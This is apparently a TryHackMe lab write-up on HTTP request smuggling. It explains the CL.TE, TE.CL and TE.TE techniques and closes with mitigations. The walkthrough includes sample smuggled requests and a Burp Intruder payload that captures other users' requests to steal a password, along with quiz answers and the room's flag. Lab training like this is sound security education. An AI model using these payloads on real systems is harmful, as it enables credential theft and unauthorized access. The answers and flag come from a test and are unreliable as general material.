TryHackMe — HTTP Request Smuggling
Learn about HTTP Request Smuggling and its different techniques.
Make every campaign better than the last with GetResponse Email Marketing + Landing Pages + Marketing Automation — $49 only
Task 1 Introduction
Note that testing for request smuggling can potentially break a website in many ways (cache poisoning, other user requests may start failing, or even the back-end pipeline might get fully desynced), so extreme care should be taken when testing this on a production website.
Objectives
- Understand what HTTP Request Smuggling is and its impact.
- Identify HTTP Request Smuggling vulnerabilities in web applications.
- Exploit these vulnerabilities in a controlled environment.
- Understand and apply measures to mitigate and prevent these vulnerabilities.
Importance of Understanding HTTP Request Smuggling
- Smuggled requests might evade security mechanisms like Web Application Firewalls. This potentially leads to unauthorized access or data leaks.
- Attackers can poison web caches by smuggling malicious content, causing users to see incorrect or harmful data.
- Smuggled requests can be chained to exploit other vulnerabilities in the system, amplifying the potential damage.
- Due to the intricate nature of this vulnerability, it can often go undetected, making it crucial for security professionals to understand and mitigate it.
No Answer Nedded
Recon
whoami@mint:~$ nmap -sV -Pn MACHINE_IP
Starting Nmap 7.80 ( https://nmap.org ) at 2024-08-06 18:34 EEST
Nmap scan report for 10.10.85.179
Host is up (0.39s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
80/tcp open http-proxy Apache Traffic Server 7.1.1
631/tcp open ipp CUPS 2.4
8002/tcp open http nginx
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 101.28 seconds
Task 2 Modern Infrastructure
Components of Modern Web Applications
Modern web applications are no longer straightforward, monolithic structures. They are composed of different components that work with each other. Below are some of the components that a modern web application usually consists of:
- Front-end server: This is usually the reverse proxy or load balancer that forwards the requests to the back-end.
- Back-end server: This server-side component processes user requests, interacts with databases, and serves data to the front-end. It’s often developed using languages like PHP, Python, and Javascript and frameworks like Laravel, Django, or Node.js.
- Databases: Persistent storage systems where application data is stored. Examples of this are databases like MySQL, PostgreSQL, and NoSQL.
- APIs (Application Programming Interfaces): Interfaces allow the front and back-end to communicate and integrate with other services.
- Microservices: Instead of a single monolithic back-end, many modern applications use microservices, which are small, independent services that communicate over a network, often using HTTP/REST or gRPC.
Load Balancers and Reverse Proxies
- Load Balancers: These devices or services distribute incoming network traffic across multiple servers to ensure no single server is overwhelmed with too much traffic. This distribution ensures high availability and reliability by redirecting requests only to online servers that can handle them. Load balancing for web servers is often done by reverse proxies. Examples include AWS Elastic Load Balancing, HAProxy, and F5 BIG-IP.
- Reverse Proxies: A reverse proxy sits before one or more web servers and forwards client requests to the appropriate web server. While they can also perform load balancing, their primary purpose is to provide a single access point and control for back-end servers. Examples include NGINX, Apache with mod_proxy, and Varnish.
Role of Caching Mechanisms
Caching is a technique used to store and reuse previously fetched data or computed results to speed up subsequent requests and computations. In the context of web infrastructure:
- Content Caching: By storing web content that doesn’t change frequently (like images, CSS, and JS files), caching mechanisms can reduce the load on web servers and speed up content delivery to users.
- Database Query Caching: Databases can cache the results of frequent queries, reducing the time and resources needed to fetch the same data repeatedly.
- Full-page Caching: Entire web pages can be cached, so they don’t need to be regenerated for each user. This is especially useful for websites with high traffic.
- Edge Caching/CDNs: Content Delivery Networks (CDNs) cache content closer to the users (at the “edge” of the network), reducing latency and speeding up access for users around the world.
- API Caching: Caching the responses can significantly reduce back-end processing for APIs that serve similar requests repeatedly.
Caching, when implemented correctly, can significantly enhance the performance and responsiveness of web applications. However, managing caches properly is essential to avoid serving stale or outdated content.
Answer the questions below
Q: What sits in front of one or more web servers and forwards client requests to the appropriate web server?
A: Reverse Proxy
Task 3 Behind the Scenes
Understanding HTTP Request Structure
Every HTTP request comprises two main parts: the header and the body.
- Request Line: The first line of the request
POST /admin/login HTTP/1.1
is the request line. It consists of at least three items. First is the method, which in this case is "POST". The method is a one-word command that tells the server what to do with the resource. Second is the path component of the URL for the request. The path identifies the resource on the server, which in this case is "/admin/login". Lastly, the HTTP version number shows the HTTP specification to which the client has tried to make the message comply. Note that HTTP/2 and HTTP/1.1 have different structures. - Request Headers: This section contains metadata about the request, such as the type of content being sent, the desired response format, and authentication tokens. It’s like the envelope of a letter, providing information about the sender, receiver, and the nature of the content inside.
- Message Body: This is the actual content of the request. The body might be empty for a GET request, but for a POST request, it could contain form data, JSON payloads, or file uploads.
Content-Length Header
The Content-Length header indicates the request or response body size in bytes. It informs the receiving server how much data to expect, ensuring the entire content is received.
Content-Length Sample Request
POST /submit HTTP/1.1
Host: good.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 14
q=smuggledData
This means that the request or response body contains 14 bytes of data.
Transfer-Encoding Header
The Transfer-Encoding header is used to specify the form of encoding applied to the message body of an HTTP request or response. A commonly used value for this header is “chunked”, indicating that the message body is divided into a series of chunks, each preceded by its size in hexadecimal format. Other possible values for the Transfer-Encoding header include “compress”, “deflate”, and “gzip”, each indicating a different type of encoding. For example:
Transfer-Encoding Sample Request
POST /submit HTTP/1.1
Host: good.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
b
q=smuggledData
0
In this example, “b” (in hexadecimal, equivalent to 11 in decimal) specifies the size of the following chunk. The chunk q=smuggledData
is the actual data, followed by a new line. The request is terminated with a "0" line, indicating the end of the message body. Each chunk size is given in hexadecimal format, and the end of the chunked body is signified by a chunk of size 0.
How Headers Affect Request Processing
Headers play an important role in guiding the server to process the request. This is because they determine how to parse the request body and influence caching behaviours. They can also affect authentication, redirection, and other server responses.
Manipulating headers like Content-Length and Transfer-Encoding can create vulnerabilities. For instance, if a proxy server gets confused by these headers, it might not properly distinguish where one request ends and another starts.
HTTP Request Smuggling Origin
HTTP Request Smuggling primarily occurs due to discrepancies in how different servers (like a front-end server and a back-end server) interpret HTTP request boundaries. For example:
- If both Content-Length and Transfer-Encoding headers are present, ambiguities can arise.
- Some components prioritize Content-Length, while others prioritize Transfer-Encoding.
- This discrepancy can lead to one component believing the request has ended while another thinks it’s still ongoing, leading to smuggling.
Example: Suppose a front-end server uses the Content-Length header to determine the end of a request while a back-end server uses the Transfer-Encoding header. An attacker can craft a request that appears to have one boundary to the front-end server but a different boundary to the back-end server. This can lead to one request being “smuggled” inside another, causing unexpected behaviour and potential vulnerabilities.
Q: What request header indicates the request or response body size in bytes? This informs the receiving server how much data to expect, ensuring the entire content is received.
A: Content-Length
Task 4 Request Smuggling CL.TE
Introduction to CL.TE request smuggling
CL.TE stands for Content-Length/Transfer-Encoding. The name CL.TE comes from the two headers involved: Content-Length and Transfer-Encoding. In CL.TE technique, the attacker exploits discrepancies between how different servers (typically a front-end and a back-end server) prioritize these headers. For example:
- The proxy uses the Content-Length header to determine the end of a request.
- The back-end server uses the Transfer-Encoding header.
Because of this discrepancy, it’s possible to craft ambiguous requests that are interpreted differently by each server. For example, Imagine sending a request with both Content-Length
and Transfer-Encoding
headers. The front-end server might use the Content-Length header and think the request ends at a certain point due to the provided number of bytes. In contrast, the back-end server, relying on the Transfer-Encoding header, might interpret the request differently, leading to unexpected behaviour.
Exploiting CL.TE for Request Smuggling
To exploit the CL.TE technique, an attacker crafts a request that includes both headers, ensuring that the front-end and back-end servers interpret the request boundaries differently. For example, an attacker sends a request like:
Sample Request
POST /search HTTP/1.1
Host: example.com
Content-Length: 130
Transfer-Encoding: chunked
0
POST /update HTTP/1.1
Host: example.com
Content-Length: 13
Content-Type: application/x-www-form-urlencoded
isadmin=true
Here, the front-end server sees the Content-Length
of 130 bytes and believes the request ends after isadmin=true
. However, the back-end server sees the Transfer-Encoding: chunked
and interprets the 0
as the end of a chunk, making the second request the start of a new chunk. This can lead to the back-end server treating the POST /update HTTP/1.1
as a separate, new request, potentially giving the attacker unauthorized access.
Incorrect Content-Length
When creating a request smuggling payload, if the Content-Length
is not equal to the actual length of the content, several problems might arise. First, the server might process only the portion of the request body that matches the Content-Length
. This could result in the smuggled part of the request being ignored or not processed as intended. For example, in the below screenshot, the original size of the body is 24 bytes.
To verify that the Content-Length is valid, we can check the /submissions
directory to verify if the whole body was saved in the .txt file.
Since the size of the body username=test&query=test
is 24 bytes, sending a Content-Length with a size lower than this will instruct the back-end server to interpret the request body differently. For example, when the Content-Length is set to less than the actual size of the body username=test&query=test
(which is 24 bytes), the back-end server will only read part of the request body based on the specified Content-Length. For instance, setting Content-Length to 10 bytes means the server will only consider the first 10 bytes of the body, leading to incomplete data being processed.
Q: What does CL.TE stand for?
A: Content-Length/Transfer-Encoding
Task 5 Request Smuggling TE.CL
Introduction to TE.CL Technique
TE.CL stands for Transfer-Encoding/Content-Length. This technique is the opposite of the CL.TE method. In the TE.CL approach, the discrepancy in header interpretation is flipped because the front-end server uses the Transfer-Encoding header to determine the end of a request, and the back-end server uses the Content-Length header.
The TE.CL technique arises when the proxy prioritizes the Transfer-Encoding
header while the back-end server prioritizes the Content-Length
header.
Example: If an attacker sends a request with both headers, the front-end server or proxy might interpret the request based on the Transfer-Encoding
header, while the back-end server might rely on the Content-Length
header. This difference in interpretation might interpret the request differently, leading to unexpected behaviour.
Exploiting TE.CL for Request Smuggling
To exploit the TE.CL technique, an attacker crafts a specially designed request that includes both the Transfer-Encoding and Content-Length headers, aiming to create ambiguity in how the front-end and back-end servers interpret the request.
For example, an attacker sends a request like:
Sample Request
POST / HTTP/1.1
Host: example.com
Content-Length: 4
Transfer-Encoding: chunked
78
POST /update HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
isadmin=true
0
In the above payload, the front-end server sees the Transfer-Encoding: chunked
header and processes the request as chunked. The 78
(hexadecimal for 120) indicates that the next 120 bytes are part of the current request's body. The front-end server considers everything up to the 0
(indicating the end of the chunked message) as part of the body of the first request.
The back-end server, however, uses the Content-Length header, which is set to 4. It processes only the first 4 bytes of the request, not including the entire smuggled request POST /update
. The remaining part of the request, starting from POST /update, is then interpreted by the back-end server as a separate, new request.
The smuggled request is processed by the back-end server as if it were a legitimate, separate request. This request includes the isadmin=true
parameter, which could potentially elevate the attacker's privileges or alter data on the server, depending on the application's functionality.
Q: What does TE.CL stand for?
A: Transfer-Encoding/Content-Length
Task 6 Transfer Encoding Obfuscation
Introduction to TE.TE Technique
Transfer Encoding Obfuscation, also known as TE.TE stands for Transfer-Encoding/Transfer-Encoding. Unlike the CL.TE or TE.CL methods, the TE.TE technique arises when both the front-end and the back-end servers use the Transfer-Encoding header. In TE.TE technique, the attacker takes advantage of the servers’ inconsistent handling of Transfer-Encoding present in the HTTP headers.
The TE.TE vulnerability doesn’t always require multiple Transfer-Encoding headers. Instead, it often involves a single, malformed Transfer-Encoding header that is interpreted differently by the front-end and back-end servers. In some cases, the front-end server might ignore or strip out the malformed part of the header and process the request normally, while the back-end server might interpret the request differently due to the malformed header, leading to request smuggling.
Example: An attacker manipulates the Transfer-Encoding header by including “chunked” in malformed variations. This is done to exploit how front-end and back-end servers prioritize the Transfer-Encoding (TE) header over Content-Length (CL). By crafting malformed Transfer-Encoding headers, the attacker aims to make one server ignore the TE header and use CL instead, leading to a discrepancy in how the request boundaries are interpreted between the front-end and back-end servers. This manipulation can result in either a CL.TE or TE.CL situation, depending on which server falls back to using the Content-Length.
Exploiting TE.TE for Request Smuggling
To exploit the TE.TE technique, an attacker may craft a request that includes Transfer-Encoding headers that use different encodings. For example, an attacker sends a request like:
Sample Request
POST / HTTP/1.1
Host: example.com
Content-length: 4
Transfer-Encoding: chunked
Transfer-Encoding: chunked1
4e
POST /update HTTP/1.1
Host: example.com
Content-length: 15
isadmin=true
0
In the above payload, the front-end server encounters two Transfer-Encoding
headers. The first one is a standard chunked encoding, but the second one, chunked1
, is non-standard. Depending on its configuration, the front-end server might process the request based on the first Transfer-Encoding: chunked
header and ignore the malformed chunked1
, interpreting the entire request up to the 0
as a single chunked message.
The back-end server, however, might handle the malformed Transfer-Encoding: chunked1
differently. It could either reject the malformed part and process the request similarly to the front-end server or interpret the request differently due to the presence of the non-standard header. If it processes only the first 4 bytes as indicated by the Content-length: 4
, the remaining part of the request starting from POST /update
is then treated as a separate, new request.
The smuggled request with the isadmin=true
parameter is processed by the back-end server as if it were a legitimate, separate request. This could lead to unauthorized actions or data modifications, depending on the server's functionality and the nature of the /update endpoint.
Q: What does TE.TE stand for?
A: Transfer-Encoding/Transfer-Encoding
Task 7 Walkthrough
Walkthrough
The vulnerable environment has ATS (Apache Traffic Server) as the front-end proxy, Nginx as the web server back-end, and PHP processing the dynamic content. Due to differences in how ATS and Nginx prioritise Content-Length
and Transfer-Encoding
headers, there is a potential for HTTP request smuggling. Start by adding httprequestsmuggling.thm
to your /etc/hosts
file.
/etc/hosts
127.0.0.1 localhost
127.0.1.1 tryhackme.lan tryhackme
MACHINE_IP httprequestsmuggling.thm
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Assessing the Application
The web application for this room uses the link http://httprequestsmuggling.thm. It features a Home, Login, and Contact form that enables users to access and send feedback to the developer. For demonstration, the submitted queries are saved to the /submissions
directory. Below is the screenshot of the application:
Exploiting the Application
Using Burp Suite Proxy, intercept a request sent to the website’s index. This request will become the baseline we will use to exploit the vulnerable application.
Send the request to Intruder and copy-paste the below payload to the Payload positions box.
Payload
POST / HTTP/1.1
Host: httprequestsmuggling.thm
Content-Type: application/x-www-form-urlencoded
Content-Length: 160
Transfer-Encoding: chunked
0
POST /contact.php HTTP/1.1
Host: httprequestsmuggling.thm
Content-Type: application/x-www-form-urlencoded
Content-Length: 500
username=test&query=§
Breakdown of the payload
In CL.TE vulnerability, since the proxy or the front-end prioritises the Content-Length header, 160 bytes of the body is assumed to be the body of the first POST. The front-end thinks this is a single request and forwards it into the pipeline, where the back-end server now prioritises Transfer-Encoding, ending the first POST request at the first 0 size chunk and assuming the second POST is a different request.
Payload positions box with the payload
Go to the Payloads tab and set the Payload type to Null payloads. Subsequently, on the Payload settings, input 10000 to generate 10000 null payloads.
Go to the Resource pool tab and create a new resource pool. You may follow the screenshot below for the settings.
Click the Start Attack button in your Intruder tab to start the attack.
After a few minutes, check the /submissions
website directory to see if the request to contact.php is smuggled containing the request of other users.
Note: Accessing the vulnerable application while the smuggling is taking effect will capture your request instead of the request from the target user.
Go through the text files to check for the password that was appended to the query parameter.
Use the password to log in to the application.
Answer the questions below
What is the flag in the dashboard?
A: THM{1c4N_$mU66l3!!}
Task 8 Conclusion
HTTP request smuggling occurs due to differences in interpreting request headers by servers, mainly through the manipulation of Content-Length and Transfer-Encoding headers, leading to unclear request boundaries. This can cause servers in environments with both front-end and back-end components to incorrectly define request limits, potentially allowing security bypasses and unauthorized data access.
Mitigation Approaches
- Uniform Header Handling: Ensure all servers handle headers in the same manner to prevent smuggling opportunities.
- Embrace HTTP/2: Switching to HTTP/2 can enhance the management of request boundaries, reducing the risk of smuggling.
- Ongoing Surveillance and Reviews: Keep an eye on server traffic for smuggling signs and perform periodic checks to maintain secure server setups.
- Team Awareness: Make sure both development and operations teams understand the dangers of request smuggling and the preventive measures.
To summarize, despite the significant risk posed by HTTP request smuggling, it is a manageable issue with the right knowledge, strategies, and resources. Emphasizing security in web application development and management is crucial for protecting both the application and its users.
No Answer Nedded